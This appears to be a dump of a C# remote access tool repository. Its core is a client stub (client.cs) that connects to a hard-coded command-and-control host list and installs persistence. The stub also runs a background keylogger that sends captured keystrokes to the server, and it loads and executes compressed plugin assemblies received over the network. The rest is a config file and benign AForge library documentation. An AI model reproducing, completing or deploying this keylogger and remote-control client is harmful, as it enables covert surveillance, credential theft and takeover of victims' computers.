FILE: Remote Access Tool/bin/Release/SamplePayloads(x32)/PayloadDllCSharp.EntryPointExe.Main.txt ================================================ ================================================ FILE: Remote Access Tool/bin/Release/Stubs/client.cs ================================================ using PacketLib.Packet; using PacketLib; using System; using System.Runtime.InteropServices; using System.Threading; using PacketLib.Utils; using System.IO; using System.Net.Sockets; using System.IO.Compression; using System.Collections.Generic; [assembly: System.Runtime.Versioning.TargetFramework(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] [assembly: ComVisible(false)] namespace Client { public static class Config { public static List hostLists = new List() { "qsdqsdqsdkjsdljk.com:7521", "127.0.0.1:7788", "127.0.0.1:9988", "127.0.0.1:9875" }; public static List hosts = new List(); public static string generalKey = "123456789"; public static bool offKeylog = false; public static string mutex = "%MUTEX%"; public static Offline.Persistence.Method installationMethod = Offline.Persistence.Method.NONE; public static string[] installationParam = new string[] { AppDomain.CurrentDomain.FriendlyName }; } public class StarterClass { private static bool AlreadyLaunched = false; private static Mutex mutex; public static void OneInstance() { mutex = new Mutex(true, Config.mutex, out AlreadyLaunched); if (!AlreadyLaunched) { NtTerminateProcess((IntPtr)(-1), 0); } } private static System.Reflection.Assembly DomCheck(object send, System.ResolveEventArgs e) { byte[] offline = new byte[] { }; byte[] packetLib = new byte[] { }; if (e.Name.Contains("Packet")) { using (MemoryStream ms = new MemoryStream()) { using (MemoryStream compressedStream = new MemoryStream(packetLib)) { using (DeflateStream deflater = new DeflateStream(compressedStream, CompressionMode.Decompress)) { deflater.CopyTo(ms); } } return System.Reflection.Assembly.Load(ms.ToArray()); } } if (e.Name.Contains("Off")) { using (MemoryStream ms = new MemoryStream()) { using (MemoryStream compressedStream = new MemoryStream(offline)) { using (DeflateStream deflater = new DeflateStream(compressedStream, CompressionMode.Decompress)) { deflater.CopyTo(ms); } } return System.Reflection.Assembly.Load(ms.ToArray()); } } return null; } static StarterClass() { AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(DomCheck); } internal static void StartOfflineKeylogger() { if (Config.offKeylog) { new Thread(() => { while (true) { Thread.Sleep(30000); if (clientHandler.Connected) Offline.Keyloggers.Launch.ClientSender(StarterClass.clientHandler.host, Config.generalKey, new KeylogOfflinePacket(Offline.Keyloggers.Launch.CurrentKeyStroke(), StarterClass.clientHandler.baseIp, StarterClass.clientHandler.HWID)); Offline.Keyloggers.Launch.ClearKeyStroke(); } }).Start(); Offline.Keyloggers.Launch.Start(); } } [DllImport("ntdll.dll")] internal static extern uint NtTerminateProcess(IntPtr hProcess, int errorStatus); internal static ClientHandler clientHandler; [MTAThread] public static void Main() { MakeInstall(); OneInstance(); clientHandler = new ClientHandler(); StartOfflineKeylogger(); foreach (string h in Config.hostLists) { string[] sp = h.Split(':'); Config.hosts.Add(new Host(sp[0], sp[1])); } clientHandler.ConnectStart(); new Thread(new ThreadStart(() => { while (true) { Thread.Sleep(-1); } })).Start(); } public static void MakeInstall() { Offline.Persistence.Launch.Install(Config.installationMethod, Config.installationParam); } internal static class PacketHandler { internal delegate void PluginDelegate(IPacket packet); internal static PluginDelegate pluginDelegate; static PacketHandler() { pluginDelegate = new PluginDelegate(LoadPlugin); } internal static void ParsePacket(IPacket packet) { try { switch (packet.packetType) { case PacketType.CONNECTED: StarterClass.clientHandler.baseIp = packet.baseIp; break; case (PacketType.CLOSE_CLIENT): StarterClass.NtTerminateProcess((IntPtr)(-1), 0); break; case (PacketType.UNINSTALL_CLOSE_CLIENT): Offline.Persistence.Launch.Uninstall(Config.installationMethod, Config.installationParam); break; default: pluginDelegate.BeginInvoke(packet, new AsyncCallback(EndLoadPlugin), null); break; } } catch { } } internal static void LoadPlugin(IPacket packet) { System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Compressor.QuickLZ.Decompress(packet.plugin)); System.Reflection.MethodInfo method = assemblytoload.GetType("Plugin.Launch").GetMethod("Main"); object obj = assemblytoload.CreateInstance(method.Name); LoadingAPI loadingAPI = new LoadingAPI { host = StarterClass.clientHandler.host, baseIp = StarterClass.clientHandler.baseIp, HWID = StarterClass.clientHandler.HWID, key = Config.generalKey, currentPacket = packet, }; method.Invoke(obj, new object[] { loadingAPI }); } public static void EndLoadPlugin(IAsyncResult ar) { pluginDelegate.EndInvoke(ar); } } } internal class ClientHandler { internal Host host { get; set; } internal string HWID { get; set; } internal string baseIp { get; set; } private Socket socket { get; set; } internal bool Connected { get; set; } internal int indexHost { get; set; } private delegate byte[] ReadDataAsync(); private delegate IPacket ReadPacketAsync(byte[] bufferPacket); private delegate bool ConnectAsync(); private delegate int SendDataAsync(IPacket data); private ReadDataAsync readDataAsync; private ReadPacketAsync readPacketAsync; private ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; internal ClientHandler() : base() { readDataAsync = new ReadDataAsync(ReceiveData); readPacketAsync = new ReadPacketAsync(PacketParser); sendDataAsync = new SendDataAsync(SendData); } public void ConnectStart() { if (indexHost == Config.hosts.Count) indexHost = 0; host = Config.hosts[indexHost]; indexHost++; Thread.Sleep(125); connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (Connected) { ConnectedPacket connectionPacket = new ConnectedPacket(); this.HWID = connectionPacket.HWID; SendPacket(connectionPacket); Receive(); } else { ConnectStart(); } } public void Receive() { if (Connected) readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null); else ConnectStart(); } private byte[] ReceiveData() { try { int total = 0; int recv; byte[] header = new byte[5]; socket.Poll(-1, SelectMode.SelectRead); recv = socket.Receive(header, 0, 5, 0); int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0); PacketType packetType = (PacketType)header[4]; int dataleft = size; byte[] data = new byte[size]; while (total < size) { recv = socket.Receive(data, total, dataleft, 0); total += recv; dataleft -= recv; } return data; } catch (Exception) { Connected = false; return null; } } public void EndDataRead(IAsyncResult ar) { byte[] data = readDataAsync.EndInvoke(ar); if (data != null && Connected) readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null); Receive(); } private IPacket PacketParser(byte[] bufferPacket) { return bufferPacket.DeserializePacket(Config.generalKey); } public void EndPacketRead(IAsyncResult ar) { IPacket packet = readPacketAsync.EndInvoke(ar); StarterClass.PacketHandler.ParsePacket(packet); } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); } private int SendData(IPacket data) { try { byte[] encryptedData = data.SerializePacket(Config.generalKey); lock (socket) { int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; socket.Poll(-1, SelectMode.SelectWrite); byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.packetType; int sent = socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } return total; } } catch (Exception) { Connected = false; return 0; } } private void SendDataCompleted(IAsyncResult ar) { int length = sendDataAsync.EndInvoke(ar); if (Connected) { return; } } } } ================================================ FILE: Remote Access Tool/bin/Release/Stubs/client.xml ================================================ v4.5 512 Client ================================================ FILE: Remote Access Tool/bin/Release/config.json ================================================ {"ports":[9875,7788],"key":"123456789","notificationSound":false,"notificationIcon":false,"autoSaveRecovery":true,"autoRemoveRowWhenFileIsDownloaded":false,"flagsPackName":"FlagsBase","processInjectionMethod":0,"bufferSize":4194304,"autoGenerateRSAKey":false,"hosts":[{"Item1":"127.0.0.1","Item2":"8523"},{"Item1":"127.0.0.1","Item2":"9875"}]} ================================================ FILE: Remote Access Tool/packages/AForge.2.2.5/lib/AForge.xml ================================================ AForge Event arguments holding a buffer sent or received during some communication process. Initializes a new instance of the class. Message being transfered during communication process. Initializes a new instance of the class. Buffer containing the message being transferred during communication process. Starting index of the message within the buffer. Length of the message within the buffer. Get the transfered message. Returns copy of the transfered message. Get the transferred message as string. Returns string encoding the transferred message. Length of the transfered message. Structure for representing a pair of coordinates of integer type. The structure is used to store a pair of integer coordinates. Sample usage: // assigning coordinates in the constructor IntPoint p1 = new IntPoint( 10, 20 ); // creating a point and assigning coordinates later IntPoint p2; p2.X = 30; p2.Y = 40; // calculating distance between two points float distance = p1.DistanceTo( p2 ); X coordinate. Y coordinate. Initializes a new instance of the structure. X axis coordinate. Y axis coordinate. Calculate Euclidean distance between two points. Point to calculate distance to. Returns Euclidean distance between this point and points. Calculate squared Euclidean distance between two points. Point to calculate distance to. Returns squared Euclidean distance between this point and points. Addition operator - adds values of two points. First point for addition. Second point for addition. Returns new point which coordinates equal to sum of corresponding coordinates of specified points. Addition operator - adds values of two points. First point for addition. Second point for addition. Returns new point which coordinates equal to sum of corresponding coordinates of specified points. Subtraction operator - subtracts values of two points. Point to subtract from. Point to subtract. Returns new point which coordinates equal to difference of corresponding coordinates of specified points. Subtraction operator - subtracts values of two points. Point to subtract from. Point to subtract. Returns new point which coordinates equal to difference of corresponding coordinates of specified points. Addition operator - adds scalar to the specified point. Point to increase coordinates of. Value to add to coordinates of the specified point. Returns new point which coordinates equal to coordinates of the specified point increased by specified value. Addition operator - adds scalar to the specified point. Point to increase coordinates of. Value to add to coordinates of the specified point. Returns new point which coordinates equal to coordinates of the specified point increased by specified value. Subtraction operator - subtracts scalar from the specified point. Point to decrease coordinates of. Value to subtract from coordinates of the specified point. Returns new point which coordinates equal to coordinates of the specified point decreased by specified value. Subtraction operator - subtracts scalar from the specified point. Point to decrease coordinates of. Value to subtract from coordinates of the specified point. Returns new point which coordinates equal to coordinates of the specified point decreased by specified value. Multiplication operator - multiplies coordinates of the specified point by scalar value. Point to multiply coordinates of. Multiplication factor. Returns new point which coordinates equal to coordinates of the specified point multiplied by specified value. Multiplication operator - multiplies coordinates of the specified point by scalar value. Point to multiply coordinates of. Multiplication factor. Returns new point which coordinates equal to coordinates of the specified point multiplied by specified value. Division operator - divides coordinates of the specified point by scalar value. Point to divide coordinates of. Division factor. Returns new point which coordinates equal to coordinates of the specified point divided by specified value. Division operator - divides coordinates of the specified point by scalar value. Point to divide coordinates of. Division factor. Returns new point which coordinates equal to coordinates of the specified point divided by specified value. Equality operator - checks if two points have equal coordinates. First point to check. Second point to check. Returns if coordinates of specified points are equal. Inequality operator - checks if two points have different coordinates. First point to check. Second point to check. Returns if coordinates of specified points are not equal. Check if this instance of equal to the specified one. Another point to check equalty to. Return if objects are equal. Get hash code for this instance. Returns the hash code for this instance. Implicit conversion to . Integer point to convert to single precision point. Returns new single precision point which coordinates are implicitly converted to floats from coordinates of the specified integer point. Implicit conversion to . Integer point to convert to double precision point. Returns new double precision point which coordinates are implicitly converted to doubles from coordinates of the specified integer point. Get string representation of the class. Returns string, which contains values of the point in readable form. Calculate Euclidean norm of the vector comprised of the point's coordinates - distance from (0, 0) in other words. Returns point's distance from (0, 0) point. Evaluator of expressions written in reverse polish notation. The class evaluates expressions writen in reverse postfix polish notation. The list of supported functuins is: Arithmetic functions: +, -, *, /; sin - sine; cos - cosine; ln - natural logarithm; exp - exponent; sqrt - square root. Arguments for these functions could be as usual constants, written as numbers, as variables, writen as $<var_number> ($2, for example). The variable number is zero based index of variables array. Sample usage: // expression written in polish notation string expression = "2 $0 / 3 $1 * +"; // variables for the expression double[] vars = new double[] { 3, 4 }; // expression evaluation double result = PolishExpression.Evaluate( expression, vars ); Evaluates specified expression. Expression written in postfix polish notation. Variables for the expression. Evaluated value of the expression. Unsupported function is used in the expression. Incorrect postfix polish expression. Represents a double range with minimum and maximum values. The class represents a double range with inclusive limits - both minimum and maximum values of the range are included into it. Mathematical notation of such range is [min, max]. Sample usage: // create [0.25, 1.5] range DoubleRange range1 = new DoubleRange( 0.25, 1.5 ); // create [1.00, 2.25] range DoubleRange range2 = new DoubleRange( 1.00, 2.25 ); // check if values is inside of the first range if ( range1.IsInside( 0.75 ) ) { // ... } // check if the second range is inside of the first range if ( range1.IsInside( range2 ) ) { // ... } // check if two ranges overlap if ( range1.IsOverlapping( range2 ) ) { // ... } Initializes a new instance of the class. Minimum value of the range. Maximum value of the range. Check if the specified value is inside of the range. Value to check. True if the specified value is inside of the range or false otherwise. Check if the specified range is inside of the range. Range to check. True if the specified range is inside of the range or false otherwise. Check if the specified range overlaps with the range. Range to check for overlapping. True if the specified range overlaps with the range or false otherwise. Convert the signle precision range to integer range. Specifies if inner integer range must be returned or outer range. Returns integer version of the range. If is set to , then the returned integer range will always fit inside of the current single precision range. If it is set to , then current single precision range will always fit into the returned integer range. Equality operator - checks if two ranges have equal min/max values. First range to check. Second range to check. Returns if min/max values of specified ranges are equal. Inequality operator - checks if two ranges have different min/max values. First range to check. Second range to check. Returns if min/max values of specified ranges are not equal. Check if this instance of equal to the specified one. Another range to check equalty to. Return if objects are equal. Get hash code for this instance. Returns the hash code for this instance. Get string representation of the class. Returns string, which contains min/max values of the range in readable form. Minimum value of the range. The property represents minimum value (left side limit) or the range - [min, max]. Maximum value of the range. The property represents maximum value (right side limit) or the range - [min, max]. Length of the range (deffirence between maximum and minimum values). A delegate which is used by events notifying abount sent/received message. Event sender. Event arguments containing details about the transferred message. Structure for representing a pair of coordinates of float type. The structure is used to store a pair of floating point coordinates with single precision. Sample usage: // assigning coordinates in the constructor Point p1 = new Point( 10, 20 ); // creating a point and assigning coordinates later Point p2; p2.X = 30; p2.Y = 40; // calculating distance between two points float distance = p1.DistanceTo( p2 ); X coordinate. Y coordinate. Initializes a new instance of the structure. X axis coordinate. Y axis coordinate. Calculate Euclidean distance between two points. Point to calculate distance to. Returns Euclidean distance between this point and points. Calculate squared Euclidean distance between two points. Point to calculate distance to. Returns squared Euclidean distance between this point and points. Addition operator - adds values of two points. First point for addition. Second point for addition. Returns new point which coordinates equal to sum of corresponding coordinates of specified points. Addition operator - adds values of two points. First point for addition. Second point for addition. Returns new point which coordinates equal to sum of corresponding coordinates of specified points. Subtraction operator - subtracts values of two points. Point to subtract from. Point to subtract. Returns new point which coordinates equal to difference of corresponding coordinates of specified points. Subtraction operator - subtracts values of two points. Point to subtract from. Point to subtract. Returns new point which coordinates equal to difference of corresponding coordinates of specified points. Addition operator - adds scalar to the specified point. Point to increase coordinates of. Value to add to coordinates of the specified point. Returns new point which coordinates equal to coordinates of the specified point increased by specified value. Addition operator - adds scalar to the specified point. Point to increase coordinates of. Value to add to coordinates of the specified point. Returns new point which coordinates equal to coordinates of the specified point increased by specified value. Subtraction operator - subtracts scalar from the specified point. Point to decrease coordinates of. Value to subtract from coordinates of the specified point. Returns new point which coordinates equal to coordinates of the specified point decreased by specified value. Subtraction operator - subtracts scalar from the specified point. Point to decrease coordinates of. Value to subtract from coordinates of the specified point. Returns new point which coordinates equal to coordinates of the specified point decreased by specified value. Multiplication operator - multiplies coordinates of the specified point by scalar value. Point to multiply coordinates of. Multiplication factor. Returns new point which coordinates equal to coordinates of the specified point multiplied by specified value. Multiplication operator - multiplies coordinates of the specified point by scalar value. Point to multiply coordinates of. Multiplication factor. Returns new point which coordinates equal to coordinates of the specified point multiplied by specified value. Division operator - divides coordinates of the specified point by scalar value. Point to divide coordinates of. Division factor. Returns new point which coordinates equal to coordinates of the specified point divided by specified value. Division operator - divides coordinates of the specified point by scalar value. Point to divide coordinates of. Division factor. Returns new point which coordinates equal to coordinates of the specified point divided by specified value. Equality operator - checks if two points have equal coordinates. First point to check. Second point to check. Returns if coordinates of specified points are equal. Inequality operator - checks if two points have different coordinates. First point to check. Second point to check. Returns if coordinates of specified points are not equal. Check if this instance of equal to the specified one. Another point to check equalty to. Return if objects are equal. Get hash code for this instance. Returns the hash code for this instance. Explicit conversion to . Single precision point to convert to integer point. Returns new integer point which coordinates are explicitly converted to integers from coordinates of the specified single precision point by casting float values to integers value. Implicit conversion to . Single precision point to convert to double precision point. Returns new double precision point which coordinates are implicitly converted to doubles from coordinates of the specified single precision point. Rounds the single precision point. Returns new integer point, which coordinates equal to whole numbers nearest to the corresponding coordinates of the single precision point. Get string representation of the class. Returns string, which contains values of the point in readable form. Calculate Euclidean norm of the vector comprised of the point's coordinates - distance from (0, 0) in other words. Returns point's distance from (0, 0) point. Represents an integer range with minimum and maximum values. The class represents an integer range with inclusive limits - both minimum and maximum values of the range are included into it. Mathematical notation of such range is [min, max]. Sample usage: // create [1, 10] range IntRange range1 = new IntRange( 1, 10 ); // create [5, 15] range IntRange range2 = new IntRange( 5, 15 ); // check if values is inside of the first range if ( range1.IsInside( 7 ) ) { // ... } // check if the second range is inside of the first range if ( range1.IsInside( range2 ) ) { // ... } // check if two ranges overlap if ( range1.IsOverlapping( range2 ) ) { // ... } Initializes a new instance of the structure. Minimum value of the range. Maximum value of the range. Check if the specified value is inside of the range. Value to check. True if the specified value is inside of the range or false otherwise. Check if the specified range is inside of the range. Range to check. True if the specified range is inside of the range or false otherwise. Check if the specified range overlaps with the range. Range to check for overlapping. True if the specified range overlaps with the range or false otherwise. Implicit conversion to . Integer range to convert to single precision range. Returns new single precision range which min/max values are implicitly converted to floats from min/max values of the specified integer range. Equality operator - checks if two ranges have equal min/max values. First range to check. Second range to check. Returns if min/max values of specified ranges are equal. Inequality operator - checks if two ranges have different min/max values. First range to check. Second range to check. Returns if min/max values of specified ranges are not equal. Check if this instance of equal to the specified one. Another range to check equalty to. Return if objects are equal. Get hash code for this instance. Returns the hash code for this instance. Get string representation of the class. Returns string, which contains min/max values of the range in readable form. Minimum value of the range. The property represents minimum value (left side limit) or the range - [min, max]. Maximum value of the range. The property represents maximum value (right side limit) or the range - [min, max]. Length of the range (deffirence between maximum and minimum values). Thread safe version of the class. The class inherits the and overrides its random numbers generation methods providing thread safety by guarding call to the base class with a lock. See documentation to for additional information about the base class. Initializes a new instance of the class. See for more information. Initializes a new instance of the class. A number used to calculate a starting value for the pseudo-random number sequence. If a negative number is specified, the absolute value of the number is used. See for more information. Returns a nonnegative random number. Returns a 32-bit signed integer greater than or equal to zero and less than . See for more information. Returns a nonnegative random number less than the specified maximum. The exclusive upper bound of the random number to be generated. must be greater than or equal to zero. Returns a 32-bit signed integer greater than or equal to zero, and less than ; that is, the range of return values ordinarily includes zero but not . See for more information. Returns a random number within a specified range. The inclusive lower bound of the random number returned. The exclusive upper bound of the random number returned. must be greater than or equal to . Returns a 32-bit signed integer greater than or equal to and less than ; that is, the range of return values includes but not . See for more information. Fills the elements of a specified array of bytes with random numbers. An array of bytes to contain random numbers. See for more information. Returns a random number between 0.0 and 1.0. Returns a double-precision floating point number greater than or equal to 0.0, and less than 1.0. See for more information. Represents a range with minimum and maximum values, which are single precision numbers (floats). The class represents a single precision range with inclusive limits - both minimum and maximum values of the range are included into it. Mathematical notation of such range is [min, max]. Sample usage: // create [0.25, 1.5] range Range range1 = new Range( 0.25f, 1.5f ); // create [1.00, 2.25] range Range range2 = new Range( 1.00f, 2.25f ); // check if values is inside of the first range if ( range1.IsInside( 0.75f ) ) { // ... } // check if the second range is inside of the first range if ( range1.IsInside( range2 ) ) { // ... } // check if two ranges overlap if ( range1.IsOverlapping( range2 ) ) { // ... } Initializes a new instance of the structure. Minimum value of the range. Maximum value of the range. Check if the specified value is inside of the range. Value to check. True if the specified value is inside of the range or false otherwise. Check if the specified range is inside of the range. Range to check. True if the specified range is inside of the range or false otherwise. Check if the specified range overlaps with the range. Range to check for overlapping. True if the specified range overlaps with the range or false otherwise. Convert the signle precision range to integer range. Specifies if inner integer range must be returned or outer range. Returns integer version of the range. If is set to , then the returned integer range will always fit inside of the current single precision range. If it is set to , then current single precision range will always fit into the returned integer range. Equality operator - checks if two ranges have equal min/max values. First range to check. Second range to check. Returns if min/max values of specified ranges are equal. Inequality operator - checks if two ranges have different min/max values. First range to check. Second range to check. Returns if min/max values of specified ranges are not equal. Check if this instance of equal to the specified one. Another range to check equalty to. Return if objects are equal. Get hash code for this instance. Returns the hash code for this instance. Get string representation of the class. Returns string, which contains min/max values of the range in readable form. Minimum value of the range. The property represents minimum value (left side limit) or the range - [min, max]. Maximum value of the range. The property represents maximum value (right side limit) or the range - [min, max]. Length of the range (deffirence between maximum and minimum values). The class provides support for parallel computations, paralleling loop's iterations. The class allows to parallel loop's iteration computing them in separate threads, what allows their simultaneous execution on multiple CPUs/cores. Executes a for-loop in which iterations may run in parallel. Loop's start index. Loop's stop index. Loop's body. The method is used to parallel for-loop running its iterations in different threads. The start and stop parameters define loop's starting and ending loop's indexes. The number of iterations is equal to stop - start. Sample usage: Parallel.For( 0, 20, delegate( int i ) // which is equivalent to // for ( int i = 0; i < 20; i++ ) { System.Diagnostics.Debug.WriteLine( "Iteration: " + i ); // ... } ); Number of threads used for parallel computations. The property sets how many worker threads are created for paralleling loops' computations. By default the property is set to number of CPU's in the system (see ). Delegate defining for-loop's body. Loop's index. Set of systems tools. The class is a container of different system tools, which are used across the framework. Some of these tools are platform specific, so their implementation is different on different platform, like .NET and Mono. Copy block of unmanaged memory. Destination pointer. Source pointer. Memory block's length to copy. Return's value of - pointer to destination. This function is required because of the fact that .NET does not provide any way to copy unmanaged blocks, but provides only methods to copy from unmanaged memory to managed memory and vise versa. Copy block of unmanaged memory. Destination pointer. Source pointer. Memory block's length to copy. Return's value of - pointer to destination. This function is required because of the fact that .NET does not provide any way to copy unmanaged blocks, but provides only methods to copy from unmanaged memory to managed memory and vise versa. Fill memory region with specified value. Destination pointer. Filler byte's value. Memory block's length to fill. Return's value of - pointer to destination. Fill memory region with specified value. Destination pointer. Filler byte's value. Memory block's length to fill. Return's value of - pointer to destination. Connection failed exception. The exception is thrown in the case if connection to device has failed. Initializes a new instance of the class. Exception's message. Connection lost exception. The exception is thrown in the case if connection to device is lost. When the exception is caught, user may need to reconnect to the device. Initializes a new instance of the class. Exception's message. Not connected exception. The exception is thrown in the case if connection to device is not established, but user requests for its services. Initializes a new instance of the class. Exception's message. Device busy exception. The exception is thrown in the case if access to certain device is not available due to the fact that it is currently busy handling other request/connection. Initializes a new instance of the class. Exception's message. Device error exception. The exception is thrown in the case if some error happens with a device, which may need to be reported to user. Initializes a new instance of the class. Exception's message. Structure for representing a pair of coordinates of double type. The structure is used to store a pair of floating point coordinates with double precision. Sample usage: // assigning coordinates in the constructor DoublePoint p1 = new DoublePoint( 10, 20 ); // creating a point and assigning coordinates later DoublePoint p2; p2.X = 30; p2.Y = 40; // calculating distance between two points double distance = p1.DistanceTo( p2 ); X coordinate. Y coordinate. Initializes a new instance of the structure. X axis coordinate. Y axis coordinate. Calculate Euclidean distance between two points. Point to calculate distance to. Returns Euclidean distance between this point and points. Calculate squared Euclidean distance between two points. Point to calculate distance to. Returns squared Euclidean distance between this point and points. Addition operator - adds values of two points. First point for addition. Second point for addition. Returns new point which coordinates equal to sum of corresponding coordinates of specified points. Addition operator - adds values of two points. First point for addition. Second point for addition. Returns new point which coordinates equal to sum of corresponding coordinates of specified points. Subtraction operator - subtracts values of two points. Point to subtract from. Point to subtract. Returns new point which coordinates equal to difference of corresponding coordinates of specified points. Subtraction operator - subtracts values of two points. Point to subtract from. Point to subtract. Returns new point which coordinates equal to difference of corresponding coordinates of specified points. Addition operator - adds scalar to the specified point. Point to increase coordinates of. Value to add to coordinates of the specified point. Returns new point which coordinates equal to coordinates of the specified point increased by specified value. Addition operator - adds scalar to the specified point. Point to increase coordinates of. Value to add to coordinates of the specified point. Returns new point which coordinates equal to coordinates of the specified point increased by specified value. Subtraction operator - subtracts scalar from the specified point. Point to decrease coordinates of. Value to subtract from coordinates of the specified point. Returns new point which coordinates equal to coordinates of the specified point decreased by specified value. Subtraction operator - subtracts scalar from the specified point. Point to decrease coordinates of. Value to subtract from coordinates of the specified point. Returns new point which coordinates equal to coordinates of the specified point decreased by specified value. Multiplication operator - multiplies coordinates of the specified point by scalar value. Point to multiply coordinates of. Multiplication factor. Returns new point which coordinates equal to coordinates of the specified point multiplied by specified value. Multiplication operator - multiplies coordinates of the specified point by scalar value. Point to multiply coordinates of. Multiplication factor. Returns new point which coordinates equal to coordinates of the specified point multiplied by specified value. Division operator - divides coordinates of the specified point by scalar value. Point to divide coordinates of. Division factor. Returns new point which coordinates equal to coordinates of the specified point divided by specified value. Division operator - divides coordinates of the specified point by scalar value. Point to divide coordinates of. Division factor. Returns new point which coordinates equal to coordinates of the specified point divided by specified value. Equality operator - checks if two points have equal coordinates. First point to check. Second point to check. Returns if coordinates of specified points are equal. Inequality operator - checks if two points have different coordinates. First point to check. Second point to check. Returns if coordinates of specified points are not equal. Check if this instance of equal to the specified one. Another point to check equalty to. Return if objects are equal. Get hash code for this instance. Returns the hash code for this instance. Explicit conversion to . Double precision point to convert to integer point. Returns new integer point which coordinates are explicitly converted to integers from coordinates of the specified double precision point by casting double values to integers value. Explicit conversion to . Double precision point to convert to single precision point. Returns new single precision point which coordinates are explicitly converted to floats from coordinates of the specified double precision point by casting double values to float value. Rounds the double precision point. Returns new integer point, which coordinates equal to whole numbers nearest to the corresponding coordinates of the double precision point. Get string representation of the class. Returns string, which contains values of the point in readable form. Calculate Euclidean norm of the vector comprised of the point's coordinates - distance from (0, 0) in other words. Returns point's distance from (0, 0) point. ================================================ FILE: Remote Access Tool/packages/AForge.Video.2.2.5/lib/AForge.Video.xml ================================================ AForge.Video Proxy video source for asynchronous processing of another nested video source. The class represents a simple proxy, which wraps the specified with the aim of asynchronous processing of received video frames. The class intercepts event from the nested video source and fires it to clients from its own thread, which is different from the thread used by nested video source for video acquisition. This allows clients to perform processing of video frames without blocking video acquisition thread, which continue to run and acquire next video frame while current is still processed. For example, let’s suppose that it takes 100 ms for the nested video source to acquire single frame, so the original frame rate is 10 frames per second. Also let’s assume that we have an image processing routine, which also takes 100 ms to process a single frame. If the acquisition and processing are done sequentially, then resulting frame rate will drop to 5 frames per second. However, if doing both in parallel, then there is a good chance to keep resulting frame rate equal (or close) to the original frame rate. The class provides a bonus side effect - easer debugging of image processing routines, which are put into event handler. In many cases video source classes fire their event from a try/catch block, which makes it very hard to spot error made in user's code - the catch block simply hides exception raised in user’s code. The does not have any try/catch blocks around firing of event, so always user gets exception in the case it comes from his code. At the same time nested video source is not affected by the user's exception, since it runs in different thread. Sample usage: // usage of AsyncVideoSource is the same as usage of any // other video source class, so code change is very little // create nested video source, for example JPEGStream JPEGStream stream = new JPEGStream( "some url" ); // create async video source AsyncVideoSource asyncSource = new AsyncVideoSource( stream ); // set NewFrame event handler asyncSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); // start the video source asyncSource.Start( ); // ... private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) { // get new frame Bitmap bitmap = eventArgs.Frame; // process the frame } Video source interface. The interface describes common methods for different type of video sources. Start video source. Starts video source and return execution to caller. Video source object creates background thread and notifies about new frames with the help of event. Signal video source to stop its work. Signals video source to stop its background thread, stop to provide new frames and free resources. Wait for video source has stopped. Waits for video source stopping after it was signalled to stop using method. Stop video source. Stops video source aborting its thread. New frame event. This event is used to notify clients about new available video frame. Since video source may have multiple clients, each client is responsible for making a copy (cloning) of the passed video frame, but video source is responsible for disposing its own original copy after notifying of clients. Video source error event. This event is used to notify clients about any type of errors occurred in video source object, for example internal exceptions. Video playing finished event. This event is used to notify clients that the video playing has finished. Video source. The meaning of the property depends on particular video source. Depending on video source it may be a file name, URL or any other string describing the video source. Received frames count. Number of frames the video source provided from the moment of the last access to the property. Received bytes count. Number of bytes the video source provided from the moment of the last access to the property. State of the video source. Current state of video source object - running or not. Initializes a new instance of the class. Nested video source which is the target for asynchronous processing. Initializes a new instance of the class. Nested video source which is the target for asynchronous processing. Specifies if the object should skip frames from the nested video source in the case if it is still busy processing the previous video frame. Start video source. Starts the nested video source and returns execution to caller. This object creates an extra thread which is used to fire events, so the image processing could be done on another thread without blocking video acquisition thread. Signal video source to stop its work. Signals video source to stop its background thread, stop to provide new frames and free resources. Wait for video source has stopped. Waits for video source stopping after it was signalled to stop using method. Stop video source. Stops nested video source by calling its method. See documentation of the particular video source for additional details. New frame event. Notifies clients about new available frame from video source. This event is fired from a different thread other than the video acquisition thread created by . This allows nested video frame to continue acquisition of the next video frame while clients perform processing of the current video frame. Since video source may have multiple clients, each client is responsible for making a copy (cloning) of the passed video frame, because the video source disposes its own original copy after notifying of clients. Video source error event. This event is used to notify clients about any type of errors occurred in video source object, for example internal exceptions. Unlike event, this event is simply redirected to the corresponding event of the , so it is fired from the thread of the nested video source. Video playing finished event. This event is used to notify clients that the video playing has finished. Unlike event, this event is simply redirected to the corresponding event of the , so it is fired from the thread of the nested video source. Nested video source which is the target for asynchronous processing. The property is set through the class constructor. All calls to this object are actually redirected to the nested video source. The only exception is the event, which is handled differently. This object gets event from the nested class and then fires another event, but from a different thread. Specifies if the object should skip frames from the nested video source when it is busy. Specifies if the object should skip frames from the nested video source in the case if it is still busy processing the previous video frame in its own thread. Default value is set to . Video source string. The property is redirected to the corresponding property of , so check its documentation to find what it means. Received frames count. Number of frames the nested video source received from the moment of the last access to the property. Received bytes count. Number of bytes the nested video source received from the moment of the last access to the property. Processed frames count. The property keeps the number of processed video frames since the last access to this property. The value of this property equals to in most cases if the property is set to - every received frame gets processed sooner or later. However, if the property is set to , then value of this property may be lower than the value of the property, which means that nested video source performs acquisition faster than client perform processing 